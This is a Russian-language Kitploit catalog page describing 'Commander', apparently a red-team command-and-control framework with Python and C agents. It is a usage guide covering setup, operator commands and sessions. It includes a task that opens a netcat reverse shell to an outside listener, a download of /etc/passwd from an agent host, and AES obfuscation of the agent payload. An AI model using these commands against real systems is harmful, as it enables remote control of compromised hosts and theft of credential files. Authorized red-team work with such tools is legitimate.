Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Commander — Фреймворк управления и контроля на Python с шифрованным TLS-соединением, поддержкой нескольких агентов (Python/C), интерактивными сессиями, передачей файлов и AES-обфускацией для операций красной команды. | Kitploit
Инструменты/GitHubGitHub/voukatas/commander
Инструменты шифрования/дешифрованияПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
GitHubvoukatas/commander

Commander

Фреймворк управления и контроля на Python с шифрованным TLS-соединением, поддержкой нескольких агентов (Python/C), интерактивными сессиями, передачей файлов и AES-обфускацией для операций красной команды.

Репозиторий
63182 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Commander

Commander — это фреймворк командования и управления (C2), написанный на Python, Flask и SQLite. Он поставляется с двумя агентами на Python и C.

Постоянно разрабатывается

Не для скрипт-кидди

Возможности

  • Полностью зашифрованное соединение (TLS)
  • Несколько агентов
  • Обфускация
  • Интерактивные сессии
  • Масштабируемость
  • Кодирование данных Base64
  • RESTful API

Агенты

  • Python 3
    • Python-агент поддерживает:
      • сессии, интерактивную оболочку между администратором и агентом (как ssh)
      • обфускацию
      • как Windows, так и Linux системы
      • возможность скачивания/загрузки файлов
  • C
    • C-агент пока поддерживает только базовую функциональность: управление задачами для агентов
    • Только для Linux систем

Требования

Требуется Python >= 3.6 и следующие зависимости

root@kitploit:~
Linux for the admin.py and c2_server.py. (Untested for windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Превью

screenshot

Как использовать

Сначала создайте необходимые сертификаты и ключи

root@kitploit:~
# if you want to secure your key with a passphrase exclude the -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Сначала запустите модуль admin.py, чтобы создать локальный файл базы данных sqlite

root@kitploit:~
python3 admin.py

Затем запустите сервер

root@kitploit:~
python3 c2_server.py

И наконец, агент. Для Python-агента вы можете просто запустить его, но в случае C-агента его нужно сначала скомпилировать.

root@kitploit:~
# python agent
python3 agent.py

# C agent
gcc agent.c -o agent -lcurl -lb64
./agent

По умолчанию и агенты, и сервер работают через TLS и base64. Точка соединения установлена на 127.0.0.1:5000; если требуется другая точка, её нужно изменить в исходных файлах агентов.

Как оператор/администратор вы можете использовать следующие команды для управления агентами

root@kitploit:~
Commands:

  task add arg c2-commands
    Add a task to an agent, to a group or on all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
    c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit
      c2-register: Triggers the agent to register again.
      c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami
         cmd: The command to execute.
      c2-sleep: Configure the interval that an agent will check for tasks.
      c2-session port: Instructs the agent to open a shell session with the server to this port.
         port: The port to connect to. If it is not provided it defaults to 5555.
      c2-quit: Forces an agent to quit.

  task delete arg
    Delete a task from an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show agent arg
    Displays info for all the availiable agents or for specific agent.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show task arg
    Displays the task of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show result arg
    Displays the history/result of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  find active agents
    Drops the database so that the active agents will be registered again.

  exit
    Bye Bye!


Sessions:

  sessions server arg [port]
    Controls a session handler.
    arg: can have the following values: 'start' , 'stop' 'status' 
    port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server
  sessions select arg
    Select in which session to attach.
    arg: the index from the 'sessions list' result 
  sessions close arg
    Close a session.
    arg: the index from the 'sessions list' result 
  sessions list
    Displays the availiable sessions
  local-ls directory
    Lists on your host the files on the selected directory 
  download 'file'
    Downloads the 'file' locally on the current directory 
  upload 'file'
    Uploads a file in the directory where the agent currently is 

Особое внимание следует уделить команде 'find active agents'. Эта команда удаляет все таблицы и создает их заново. Это может звучать страшно, но это не так, по крайней мере, я так думаю :P

Идея этой функциональности в том, что c2-сервер может запросить у агента повторную регистрацию, если он его не распознает. Итак, поскольку мы хотим очистить базу данных от неиспользуемых старых записей и одновременно найти все активные хосты, мы можем удалить таблицы и запустить механизм повторной регистрации c2-сервера. Подробнее о механизме повторной регистрации см. ниже.

Потоки

Ниже представлена диаграмма нормального потока

Нормальный поток

screenshot

В случае серьезного сбоя в среде, например повреждения базы данных или другой критической ошибки, включается механизм повторной регистрации, чтобы мы не потеряли соединение с нашими агентами.

В частности, если мы потеряем базу данных, у нас не будет информации о получаемых UUID, поэтому мы не сможем назначать им задачи и т.д. Агенты будут продолжать пытаться получить свои задачи, и поскольку мы их не распознаем, мы попросим их зарегистрироваться снова, чтобы мы могли вставить их в нашу базу данных и снова управлять ими.

Ниже представлена диаграмма потока для этого случая.

Поток повторной регистрации

screenshot

Полезные примеры

Чтобы настроить среду, сначала запустите admin.py, затем c2_server.py и запустите агента. После этого вы можете проверить доступных агентов.

root@kitploit:~
# show all availiable agents
show agent all

Чтобы дать всем агентам команду выполнить "id", можно сделать так:

root@kitploit:~
# for all agents
task add all c2-shell id

# check the results of the "id"
show result all

Чтобы проверить историю/предыдущие результаты выполненных задач для конкретного агента, сделайте так:

root@kitploit:~
# check the results of a specific agent
show result 85913eb1245d40eb96cf53eaf0b1e241

Вы также можете изменить интервал проверки задач агентами на 30 секунд следующим образом:

root@kitploit:~
# to set it for all agents
task add all c2-sleep 30

Чтобы открыть сессию с одним или несколькими агентами, выполните следующее.

root@kitploit:~
# find the agent/uuid
show agent all

# enable the server to accept connections
sessions server start 5555

# add a task for a session to your prefered agent
task add your_prefered_agent_uuid_here c2-session 5555

# display a list of available connections
sessions list

# select to attach to one of the sessions, lets select 0
sessions select 0

# run a command
id

# download the passwd file locally
download /etc/passwd

# list your files locally to check that passwd was created
local-ls

# upload a file (test.txt) in the directory where the agent is
upload test.txt

# return to the main cli
go back

# check if the server is running
sessions server status

# stop the sessions server
sessions server stop

Если по какой-то причине вы хотите запустить другую внешнюю сессию, например с netcat или metasploit, сделайте следующее.

root@kitploit:~
# show all availiable agents
show agent all

# first open a netcat on your machine
nc -vnlp 4444

# add a task to open a reverse shell for a specific agent
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

Таким образом у вас будет 'живучая' оболочка, которая даже при отключении немедленно восстановится. Только интерактивные команды приведут к её окончательному закрытию.

Обфускация

Python-агент предлагает обфускацию с использованием базового шифрования AES ECB и кодирования base64

Отредактируйте файл obfuscator.py и измените значение 'key' на ключ длиной 16 символов, чтобы создать пользовательскую полезную нагрузку. Вывод нового агента можно найти в Agents/obs_agent.py

Вы можете запустить его так:

root@kitploit:~
python3 obfuscator.py

# and to run the agent, do as usual
python3 obs_agent.py

Советы и хитрости

  1. Встроенный сервер приложения Flask не может обрабатывать несколько/параллельных запросов. Поэтому вы можете использовать сервер gunicorn для лучшей производительности следующим образом:
root@kitploit:~
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 
  1. Создайте двоичный файл для вашего Python-агента следующим образом
root@kitploit:~
pip install pyinstaller
pyinstaller --onefile agent.py

Двоичный файл можно найти в каталоге dist.

Если что-то не работает, возможно, вам нужно обновить ваши библиотеки python и pip. Если проблема сохраняется, ну... жизнь есть жизнь.

  1. Создавайте новые сертификаты для каждого задания

  2. Делайте резервную копию c2.db, это просто... всего лишь файл

Тестирование

Для тестирования использовался pytest. Вы можете запустить тесты следующим образом:

root@kitploit:~
cd tests/
py.test

Будьте осторожны: Вы должны запускать тесты внутри каталога tests, иначе ваш c2.db будет перезаписан, и вы потеряете данные

Чтобы проверить покрытие кода и создать красивый html-отчёт, вы можете использовать следующее:

root@kitploit:~
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

Отказ от ответственности: Этот инструмент предназначен только для демонстрации концепции при авторизованном тестировании безопасности. Запуск этого инструмента против хостов, на которые у вас нет явного разрешения, является незаконным. Вы несёте ответственность за любые проблемы, которые может вызвать использование этого инструмента.

Скачать инструмент